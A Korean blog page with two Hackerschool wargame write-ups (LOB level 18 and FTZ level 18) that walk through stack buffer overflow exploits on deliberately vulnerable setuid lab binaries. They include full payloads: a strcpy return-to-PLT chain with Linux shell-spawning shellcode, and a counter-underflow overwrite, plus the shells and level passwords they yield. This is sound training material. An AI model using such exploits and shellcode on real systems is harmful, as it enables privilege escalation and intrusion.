반응형
반응형
반응형


해커스쿨 LOB LEVEL18 [succubus -> nightmare] 풀이


M4ndU




해커스쿨 LOB [succubus -> nightmare] 풀이입니다.


ID | succubus

PW | here to stay

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: succubus

Password:

[succubus@localhost succubus]$ bash2

[succubus@localhost succubus]$ ls -l

total 20

-rwsr-sr-x    1 nightmar nightmar    12983 Mar 30  2010 nightmare

-rw-r--r--    1 root     root          625 Mar 30  2010 nightmare.c

[succubus@localhost succubus]$ cat nightmare.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // check address

        addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // dangerous waterfall

        memset(buffer+40+8, 'A', 4);

}


소스를 보면


        // check address

        addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }


리턴 주소가 strcpy()함수의 주소여야 하고,


        // dangerous waterfall

        memset(buffer+40+8, 'A', 4);


리턴 주소다음 4바이트 부분 = strcpy()함수의 리턴 주소를 A로 채우네요.

A로 채워진 부분을 strcpy함수를 통해 쉘코드 주소로 다시 덮어주어야 합니다.

페이로드를 구성해보면

&(&shellcode)[4]+dummy[40]+&strcpy()[4]+dummy[4]+4바이트 앞 주소(strcpy()의 리턴주소)[4]+&buffer[4]


일단 strcpy()의 주소를 구해줍니다.

[succubus@localhost succubus]$ gdb -q nightmare
(gdb) set disassembly-flavor intel
(gdb) disas main
(생략)
0x8048722 <main+110>:   call   0x8048410 <strcpy>
(생략)

그리고 쉘코드를 환경변수에 넣어줍니다.
그 전에 쉘코드의 주소를 다른 환경변수에 넣어주기 위해 공간을 확보합니다.

$export EGG1=`python -c 'print "\xff\xff\xff\xff"'`
$export EGG2=`python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG1")); } ' > get1.c
$gcc get1.c -o 1
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG2")); } ' > get2.c
$gcc get2.c -o 2

이제 strcpy()의 리턴주소가 들어가는 주소를 구합니다.


[succubus@localhost succubus]$ mkdir tmp
[succubus@localhost succubus]$ cp nightmare tmp/
[succubus@localhost succubus]$ cd tmp/
[succubus@localhost tmp]$ ./nightmare `python -c 'print "D"*44+"\x10\x84\x04\x08"+"C"*12'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDCCCCCCCCCCCC
Segmentation fault (core dumped)
[succubus@localhost tmp]$ gdb -c core -q
Core was generated by `./nightmare DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDCCCCCCCCCCCC'.
Program terminated with signal 11, Segmentation fault.
#0  0x400767c1 in ?? ()
(gdb) x/40x $esp-40
0xbffff9e0:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffff9f0:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffffa00:     0x44444444      0x44444444      0x4000ae60      0x44444444
0xbffffa10:     0x41414141      0x43434343      0x43434343      0x40013800
0xbffffa20:     0x00000002      0x08048420      0x00000000      0x08048441
0xbffffa30:     0x080486b4      0x00000002      0xbffffa54      0x08048350
0xbffffa40:     0x0804877c      0x4000ae60      0xbffffa4c      0x40013e90
0xbffffa50:     0x00000002      0xbffffb61      0xbffffb6d      0x00000000
0xbffffa60:     0xbffffbaa      0xbffffbc1      0xbffffbcb      0xbffffc5e
0xbffffa70:     0xbffffc76      0xbffffc95      0xbffffcb7      0xbffffcc5


buffer은 0xbffff9e0이고
ret는 0xbffffa10이네요.

이제 페이로드를 완성하기 위해 환경변수에 들어간 쉘코드의 주소를 구해줍니다.

[succubus@localhost env]$ ./2
ADDR -> 0xbffffbe4

그리고 EGG1을 다시 설정해줍니다.

$export EGG1=`python -c 'print "\xe4\xfb\xff\xbf"'`


[succubus@localhost env]$ export EGG1=`python -c 'print "\x48\xfc\xff\xbf"'`

[succubus@localhost env]$ ./1

ADDR -> 0xbffffbda




&strcpy() | 0x08048410

&ret | 0xbffffa10

&(&SHELLCODE) | 0xbffffbda

&buffer | 0xbffff9e0


모두 구했습니다.

그럼 익스플로잇!



./nightmare `python -c 'print "\xda\xfb\xff\xbf"+"D"*40+"\x10\x84\x04\x08"+"A"*4+"\x10\xfa\xff\xbf"+"\xe0\xf9\xff\xbf"'`




[succubus@localhost tmp]$ ./nightmare `python -c 'print "\xda\xfb\xff\xbf"+"D"*40+"\x10\x84\x04\x08"+"A"*4+"\x10\xfa\xff\xbf"+"\xe0\xf9\xff\xbf"'`
拔풡DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAA?욈??
bash$ exit
exit
[succubus@localhost succubus]$ cd ..
[succubus@localhost succubus]$ ./nightmare `python -c 'print "\xda\xfb\xff\xbf"+"D"*40+"\x10\x84\x04\x08"+"A"*4+"\x10\xfa\xff\xbf"+"\xe0\xf9\xff\xbf"'`
拔풡DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAA?욈??
bash$ my-pass
euid = 518
beg for me

성공! 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ



반응형
반응형


해커스쿨 FTZ [LEVEL18] 풀이


M4ndU




해커스쿨 FTZ [LEVEL18] 풀이입니다.


ID | level18

PW | why did you do it


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level18

level18@192.168.31.128's password:

[level18@ftz level18]$ ls -l

total 20

-rwsr-x---    1 level19  level18      6225 Jan 25  1999 attackme

-rw-r-----    1 root     level18      1272 Jan 25  1999 hint

drwxr-xr-x    2 root     level18      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level18      4096 Jan  8  2009 tmp

[level18@ftz level18]$ cat hint


#include <stdio.h>

#include <sys/time.h>

#include <sys/types.h>

#include <unistd.h>

void shellout(void);

int main()

{

  char string[100];

  int check;

  int x = 0;

  int count = 0;

  fd_set fds;

  printf("Enter your command: ");

  fflush(stdout);

  while(1)

    {

      if(count >= 100)

        printf("what are you trying to do?\n");

      if(check == 0xdeadbeef)

        shellout();

      else

        {

          FD_ZERO(&fds);

          FD_SET(STDIN_FILENO,&fds);


          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)

            {

              if(FD_ISSET(fileno(stdin),&fds))

                {

                  read(fileno(stdin),&x,1);

                  switch(x)

                    {

                      case '\r':

                      case '\n':

                        printf("\a");

                        break;

                      case 0x08:

                        count--;

                        printf("\b \b");

                        break;

                      default:

                        string[count] = x;

                        count++;

                        break;

                    }

                }

            }

        }

    }

}


void shellout(void)

{

  setreuid(3099,3099);

  execl("/bin/sh","sh",NULL);

}



소스가 엄청 길어졌습니다..

분석을 해봅시다.



      if(count >= 100)

        printf("what are you trying to do?\n");

      if(check == 0xdeadbeef)

        shellout();


count가 100이상이면 문장을 출력하고

check가 0xdeadbeef이면 shellout함수를 실행하네요.



      else

        {

          FD_ZERO(&fds);

          FD_SET(STDIN_FILENO,&fds);


          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)

            {

              if(FD_ISSET(fileno(stdin),&fds))

                {

                  read(fileno(stdin),&x,1);


사용자로부터 입력을 받고, 입력값에서 1바이트를 가져옵니다.



                  switch(x)

                    {

                      case '\r':

                      case '\n':

                        printf("\a");

                        break;

                      case 0x08:

                        count--;

                        printf("\b \b");

                        break;

                      default:

                        string[count] = x;

                        count++; 

                        break;

                     }



그 1바이트의 값이 0x08이면 count 값을 1감소하고


그 1바이트의 값이 \r \n 0x08이 아니라면 string[count] 에 그 1바이트값을 대입하고

count의 값을 1증가 시키네요.


void shellout(void)

{

  setreuid(3099,3099);

  execl("/bin/sh","sh",NULL);

}


shellout함수는 쉘을 띄워주네요.



우리의 목표는 check의 값을 0xdeadbeef로 만드는 것이네요.

string의 값을 넘치게해서 리턴값을 바꾸는 것은 첫번째 조건문에 걸리기 때문에 불가능하고요.


그런데 check는 string보다 더 낮은주소에 있습니다. 그럼 check를 어떻게 조작해야 할까요?

만약 count가 음수라면..? string의 시작주소보다 더 낮은주소에 접근할 수 있지 않을까요?


gdb를 통해 한번 보겠습니다.


코드가 길어서 중요한 부분만 적겠습니다.


0x080485ab <main+91>:   cmp    DWORD PTR [ebp-104],0xdeadbeef


ebp-104와 0xdeadbeef를 비교하네요. ebp-104가 check임을 알 수 있습니다.


그리고 밑으로 내려가보면


0x08048743 <main+499>:  lea    eax,[ebp-100]

0x08048746 <main+502>:  mov    DWORD PTR [ebp-252],eax

0x0804874c <main+508>:  mov    edx,DWORD PTR [ebp-112]

0x0804874f <main+511>:  mov    cl,BYTE PTR [ebp-108]

0x08048752 <main+514>:  mov    BYTE PTR [ebp-253],cl

0x08048758 <main+520>:  mov    al,BYTE PTR [ebp-253]

0x0804875e <main+526>:  mov    ecx,DWORD PTR [ebp-252]

0x08048764 <main+532>:  mov    BYTE PTR [edx+ecx],al

0x08048767 <main+535>:  inc    DWORD PTR [ebp-112]  //count++;

0x0804876a <main+538>:  jmp    0x8048770 <main+544> //break;


밑에 inc도 있고 하니 default: 부분인것 같습니다.

string은 ebp-100이 되겠네요.


그러면 check와 string사이에 dummy는 없습니다.


이 구조를 나타내면


낮은주소

check[0]  - string[-4]

check[1]  - string[-3]

check[2]  - stirng[-2]

check[3]  - stirng[-1]

string[0]

string[1]

...

string[99]

높은주소


이해가 되시나요?


우리가 도달해야 할 곳은 string[-4]이고, count의 초기값은 0입니다.

count의 값을 감소시키는 방법은 0x08을 보내는 것이죠.


0x08을 4번 보내어 string[-4]부터 쓸 수 있도록 만들고 0xdeadbeef를 덮어쓰면 되겠습니다.


(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme



[level18@ftz level18]$ (python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme

Enter your command: my-pass


Level19 Password is "swimming in pink".


성공입니드아! GAZA!!!!!!!!


반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL20] 풀이  (2) 2018.02.10
해커스쿨 FTZ [LEVEL19] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09

+ Recent posts